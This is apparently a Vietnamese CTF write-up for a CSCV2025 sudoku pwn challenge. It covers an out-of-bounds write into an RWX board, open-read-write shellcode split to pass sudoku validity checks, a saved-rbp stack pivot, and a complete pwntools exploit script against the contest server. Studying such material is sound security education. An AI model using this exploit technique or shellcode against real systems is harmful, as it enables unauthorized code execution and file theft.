pwn - sudokuS
Play the sudoku and get flag. Flag path at /flag.
Source Code
main()
int __fastcall main(int argc, const char **argv, const char **envp)
{
int choice; // [rsp+8h] [rbp-8h] BYREF
int scan_ok; // [rsp+Ch] [rbp-4h]
init(argc, argv, envp);
init_sec_comp();
puts("=== CSCV2025 - SudoShell ===");
usage();
printf("> ");
scan_ok = scanf("%d", &choice);
if ( scan_ok <= 0 )
{
perror("scanf failed");
exit(1);
}
switch ( choice )
{
case 1:
start_game();
break;
case 2:
exit(0);
case 3:
help();
break;
}
return 0;
}start_game()
__int64 start_game()
{
unsigned __int8 num; // [rsp+Dh] [rbp-23h] BYREF
unsigned __int8 col; // [rsp+Eh] [rbp-22h] BYREF
unsigned __int8 row; // [rsp+Fh] [rbp-21h] BYREF
char name[28]; // [rsp+10h] [rbp-20h] BYREF
int len; // [rsp+2Ch] [rbp-4h]
num = 0;
printf("What's your name? ");
len = read(0, name, 39);
if ( len <= 0 )
{
perror("read failed");
exit(1);
}
name[len] = 0;
printf("Welcome %s\n", name);
initBOARD();
while ( 1 )
{
displayBOARD();
if ( isComplete() )
{
puts("Congratulations!");
return 0;
}
printf("> ");
len = scanf("%hhu %hhu %hhu", &row, &col, &num);
if ( len <= 0 )
{
perror("scanf failed");
exit(1);
}
if ( !row && !col && !num )
break;
if ( canEdit(--row, --col) != 1 || isValid(row, col, num) != 1 )
puts("Invalid input!");
else
BOARD[9 * row + col] = num;
}
puts("Bye!");
return 0;
}canEdit()
bool __fastcall canEdit(unsigned __int8 row, unsigned __int8 col)
{
return ORIGINAL[9 * row + col] == 0;
}isValid()
__int64 __fastcall isValid(unsigned __int8 row, unsigned __int8 col, unsigned __int8 num)
{
signed int m; // [rsp+1Ch] [rbp-10h]
signed int k; // [rsp+20h] [rbp-Ch]
int j; // [rsp+24h] [rbp-8h]
int i; // [rsp+28h] [rbp-4h]
for ( i = 0; i <= 8; ++i )
{
if ( BOARD[9 * row + i] == num && i != col )
return 0;
}
for ( j = 0; j <= 8; ++j )
{
if ( BOARD[9 * j + col] == num && j != row )
return 0;
}
for ( k = 3 * (row / 3u); k <= (3 * (row / 3u) + 2); ++k )
{
for ( m = 3 * (col / 3u); m <= (3 * (col / 3u) + 2); ++m )
{
if ( BOARD[9 * k + m] == num && (k != row || m != col) )
return 0;
}
}
return 1;
}help()
int help()
{
puts("=== HOW TO PLAY ===");
puts("Insert the number to fill the BOARD");
puts("Syntax: row col num");
return puts("Example: 1 2 5");
}Mitigation


Binary không có PIE, có vùng RWX, chúng ta có thể nghĩ đến việc return về shellcode.
Tại hàm main(), chúng ta thấy có áp dụng seccomp, để giới hạn các syscall mà tiến trình có thể sử dụng.

Ở đây execve và execveat bị chặn, nên việc spawn shell là không khả thi. Nhớ rằng challenge có gợi ý flag nằm tại /flag, nên chúng ta sẽ sử dụng Open-Read-Write shellcode.
Solve
Việc giải bảng sudoku cũng không làm được gì, và thực ra cũng chẳng có lời giải cho bảng trong đó, nên chúng ta không cần quan tâm.
Do các đầu vào là row, col, num không được kiểm tra kỹ càng, chúng ta có thể thực hiện OOB write ra ngoài BOARD. Đây là vùng RWX nên chúng ta sẽ ghi shellcode tại đây.

Chúng ta có shellcode ORW như sau:
; Open
xor rax, rax
push rax
mov rsi, 0x67616c662f ; "/flag"
push rsi
mov rdi, rsp
xor rsi, rsi
mov al, 2
syscall
; Read
mov rdi, rax
xor rax, rax
mov rsi, rsp
mov dl, 0x50
syscall
; Write
mov al, 1
mov dil, 1
syscallNhưng vấn đề là hàm kiểm tra isValid(), khiến cho việc ghi liên tục một shellcode hoàn chỉnh là không khả thi, vì trong shellcode có thể có các byte trùng nhau tại cùng cột, hay cùng hàng, hay cùng ô vuông như trong bảng sudoku.
Vì vậy, chúng ta sẽ chia nhỏ shellcode này ra làm nhiều phần sao cho từng phần không chứa byte nào giống nhau, hoặc nếu có thì chúng không cùng hàng, cột hay ô vuông. Null byte thì có thể trùng vì không cần ghi cũng đã có null byte ở đó rồi.
┌──(kali㉿kali)-[/mnt/hgfs/Desktop/cscv preliminary 2025/pwn - sudokus]
└─$ nasm -f elf64 shellcode.asm -o shellcode.o
┌──(kali㉿kali)-[/mnt/hgfs/Desktop/cscv preliminary 2025/pwn - sudokus]
└─$ ld shellcode.o -o shellcode
ld: warning: cannot find entry symbol _start; defaulting to 0000000000401000
┌──(kali㉿kali)-[/mnt/hgfs/Desktop/cscv preliminary 2025/pwn - sudokus]
└─$ objdump -d shellcode -M intel
shellcode: file format elf64-x86-64
Disassembly of section .text:
0000000000401000 <__bss_start-0x1000>:
401000: 48 31 c0 xor rax,rax
401003: 50 push rax
401004: 48 be 2f 66 6c 61 67 movabs rsi,0x67616c662f
40100b: 00 00 00
40100e: 56 push rsi
40100f: 48 89 e7 mov rdi,rsp
401012: 48 31 f6 xor rsi,rsi
401015: b0 02 mov al,0x2
401017: 0f 05 syscall
401019: 48 89 c7 mov rdi,rax
40101c: 48 31 c0 xor rax,rax
40101f: 48 89 e6 mov rsi,rsp
401022: b2 50 mov dl,0x50
401024: 0f 05 syscall
401026: b0 01 mov al,0x1
401028: 40 b7 01 mov dil,0x1
40102b: 0f 05 syscallChúng ta chèn thêm các lệnh chuyển luồng thực thi ở cuối của mỗi phần shellcode để tiếp tục nhảy đến phần tiếp theo. Có thể dùng jmp, hay push rồi ret,…
Sau khi đã hoàn thiện ghi toàn bộ shellcode, chúng ta cần return về nó, nhưng input 39 bytes là không đủ để ghi đè đến return address sau đó return thẳng về shellcode. Ta chỉ ghi được đến saved rbp.
char name[28]; // [rsp+10h] [rbp-20h] BYREF
int len; // [rsp+2Ch] [rbp-4h]
num = 0;
printf("What's your name? ");
len = read(0, name, 39);Nhưng chúng ta biết rằng, sau khi kết thúc start_game() chúng ta chạy leave; ret 1 lần, sau đó chuyển luồng thực thi đến main() và lại tiếp tục leave; ret lần 2. Vậy ta chỉ cần ghi đè saved rbp sao cho lần ret thứ 2 sẽ nhảy đến địa chỉ bắt đầu của shellcode là được.
Script
#!/usr/bin/env python3
from pwn import *
exe = ELF("sudoshell")
context.terminal = ["tilix", "-a", "session-add-right", "-e"]
context.binary = exe
sla = lambda p, d, x: p.sendlineafter(d, x)
sa = lambda p, d, x: p.sendafter(d, x)
sl = lambda p, x: p.sendline(x)
s = lambda p, x: p.send(x)
slan = lambda p, d, n: p.sendlineafter(d, str(n).encode())
san = lambda p, d, n: p.sendafter(d, str(n).encode())
sln = lambda p, n: p.sendline(str(n).encode())
sn = lambda p, n: p.send(str(n).encode())
ru = lambda p, x: p.recvuntil(x)
rl = lambda p: p.recvline()
rc = lambda p, n: p.recv(n)
rr = lambda p, t: p.recvrepeat(timeout=t)
ra = lambda p, t: p.recvall(timeout=t)
ia = lambda p: p.interactive()
gdbscript = '''
b *0x0000000000401C3D
set follow-fork-mode parent
set detach-on-fork on
continue
'''
def conn():
if args.LOCAL:
p = process([exe.path])
if args.GDB:
gdb.attach(p, gdbscript=gdbscript)
if args.DEBUG:
context.log_level = 'debug'
return p
else:
host = "pwn3.cscv.vn"
port = 5555
return remote(host, port)
p = conn()
def write(row, col, num):
payload = f'{row + 1} {col + 1} {num}'.encode()
sla(p, b'>', payload)
if b'Invalid' in ru(p, b'+') and num != 0:
print(f"invalid {row} {col} {num}")
board = 0x4040e0
def get_pos(addr):
row = (addr - board) // 9
col = (addr - board) % 9
return row, col
def write_gadget(addr, gadget):
print(f"write 0x{gadget.hex()} at {hex(addr)}")
row, col = get_pos(addr)
for b in gadget:
write(row, col, int(b))
print(f"row={row} col={col} num={hex(b)} at {hex(board + 9 * row + col)}")
col += 1
print("")
saved_rbp = 0x4041c0
sla(p, b'>', b'1')
payload = b'A' * 32 + p64(saved_rbp)[:-1] # Ghi đè saved rbp
sla(p, b'?', payload)
return_addr = p64(0x404200) # return address để nhảy đến shellcode
write_gadget(saved_rbp + 0x8, return_addr)
gadget_1 = '''
xor rax, rax
push rax
push 0x404260
ret
'''
write_gadget(0x404200, asm(gadget_1))
gadget_2 = '''
movabs rsi,0x67616c662f
push rsi
push 0x404290
ret
'''
write_gadget(0x404260, asm(gadget_2))
gadget_3 = '''
mov rdi, rsp
push 0x4042c0
ret
'''
write_gadget(0x404290, asm(gadget_3))
gadget_4 = '''
xor rsi, rsi
mov al, 0x2
syscall
push 0x404320
ret
'''
write_gadget(0x4042c0, asm(gadget_4))
gadget_5 = '''
mov rdi,rax
push 0x404350
ret
'''
write_gadget(0x404320, asm(gadget_5))
gadget_6 = '''
xor rax, rax
push 0x404380
ret
'''
write_gadget(0x404350, asm(gadget_6))
gadget_7 = '''
mov rsi, rsp
mov dl, 0x50
syscall
mov al, 0x1
push 0x4043e0
ret
'''
write_gadget(0x404380, asm(gadget_7))
gadget_8 = '''
mov dil, 0x1
syscall
'''
write_gadget(0x4043e0, asm(gadget_8))
sla(p, b'>', b'0 0 0') # break khỏi vòng while
ru(p, b'Bye!\n')
flag = ru(p, b'}').decode()
print(flag)